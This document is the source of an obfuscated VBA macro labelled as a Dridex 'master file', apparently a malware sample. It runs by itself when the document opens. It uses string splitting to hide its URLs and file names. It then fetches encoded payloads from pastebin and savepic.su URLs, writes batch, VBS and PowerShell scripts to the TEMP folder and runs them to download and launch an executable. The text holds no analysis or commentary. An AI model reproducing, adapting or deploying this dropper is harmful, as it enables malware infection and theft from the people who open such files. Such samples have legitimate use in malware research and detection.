Obfuscated Dridex Master File

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Dhwydhqwdqw()

End Sub
Sub Auto_Open()
    jurghiwhfqw
End Sub
Sub jurghiwhfqw()
    Dim retVal As Variant
    Dim huwe As Integer
    HUWQD = CStr(Int((100000 * Rnd) + 10000))
    FL2 = "" & HUWQD
    PH2 = Module1.Bad("" & "T" & "EMP") + "\"

    JUDQW = "bajwqhduqasdqwdqdwkhdbaqwet"
    WKDOQ = "461237618273612"
    PSFL = FL2 + "" & "." + "p" + "" + Chr(Asc("s")) _
    + _
    "1"
    VBFL = FL2 + ".v" + "b" & "" & "s" & ""
    huwe = Val("1")
    BAFL = FL2 + Chr(20 + 25 + huwe + 0) + Left(JUDQW, 2) + Right(JUDQW, 1)
    KDOW = "pasteb"
    'MsgBox (BAFL)
    INTG = "object"
    AFTG = "module"

    SXE = "" & Chr(Asc(".")) & Chr(Asc("e")) & "xe" & ""
    GNG = ".png"

    PHT = "" & "htt" & "p://" & ""
    PBIN = PHT + KDOW + "i" & "n.com/raw." & "php?i="
    SPIC = PHT + "sav" & "epic.su/"

    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = PH2 + BAFL

    AFT = FreeFile
    BFT = FreeFile
    CFT = FreeFile
    DFT = FreeFile
    EFT = FreeFile

    Dim obg As Object
    Dim asdwq As String
    Set obg = _
    CreateObject("" & "MSXML2.ServerXMLHTTP")
    obg.Open "GET", PBIN + "1t3AmzVm"
    obg.Send ""
    CONT = obg.ResponseText
    asdwq = CONT

    CONT = Module1.Decode(asdwq)

    TVT10 = Module1.Tort(CONT, "text10")
    TVT20 = Module1.Tort(CONT, "text20")
    TVT21 = Module1.Tort(CONT, "text21")
    TVT30 = Module1.Tort(CONT, "text30")
    TVT31 = Module1.Tort(CONT, "text31")
    XPT1 = Module1.Tort(CONT, "stext1")
    XPT2 = Module1.Tort(CONT, "stext2")
    XPT3 = Module1.Tort(CONT, "stext3")

    WVR = Module1.Bad("USERPROFILE")
    post1 = InStr(WVR, "sers\")
    If (post1 <> 0) Then
        VRR = "1"
    Else
        VRR = "0"
    End If

    Module1.WaitFor (1)

    Dim obg2 As Object
    Set obg2 = _
    CreateObject("" & "MSXML2.ServerXMLHTTP")
    obg2.Open "GET", PBIN + "sqZtvTm7"
    obg2.Send ""
    SEXX = obg2.ResponseText
    'SEXX = PHT
    PSTB = PBIN + "123123123"
    STAR1 = SPIC + "5533663" + GNG
    STAR2 = SPIC + "5530591" + GNG
    FFQ = "8"
    FF = FFQ + SXE


If (VRR = "0") Then
     Open BAPTH For Output As #AFT
     Print #AFT, XPT1
     Print #AFT, "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #AFT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #AFT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #AFT, XPT2
     Close #AFT

     Module1.WaitFor (2)

     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT

     Module1.WaitFor (2)
     NTH1 = Module1.Great(retVal, BAPTH)

End If



If (VRR = "1") Then
     Open PSPTH For Output As #CFT
     Print #CFT, "$stat = '" + STAR2 + "';"
     Print #CFT, "$ggtt  = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + "';"
     Print #CFT, "$wehs = '" + FL2 + "';"
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT

     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "currentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&djwq"
     Print #DFT, TVT31
     Close #DFT

     Open BAPTH For Output As #EFT
     Print #EFT, "@echo off"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, "set Gds4=" + Chr(34) + PH2 + Chr(34) + "%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module1.WaitFor (1)

     NTH2 = Module1.Great(retVal, BAPTH)

End If

    NTH3 = Module2.Seg("<" + INTG + ">", "</" + INTG + ">", 1)
    NTH4 = Module2.Seg("<" + AFTG + ">", "</" + AFTG + ">", 2)
    NTH5 = Module2.Seg("<" + INTG + ">", "", 3)
    NTH6 = Module2.Seg("</" + INTG + ">", "", 3)
    NTH7 = Module2.Seg("<" + AFTG + ">", "", 3)
    NTH8 = Module2.Seg("</" + AFTG + ">", "", 3)



End Sub


Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub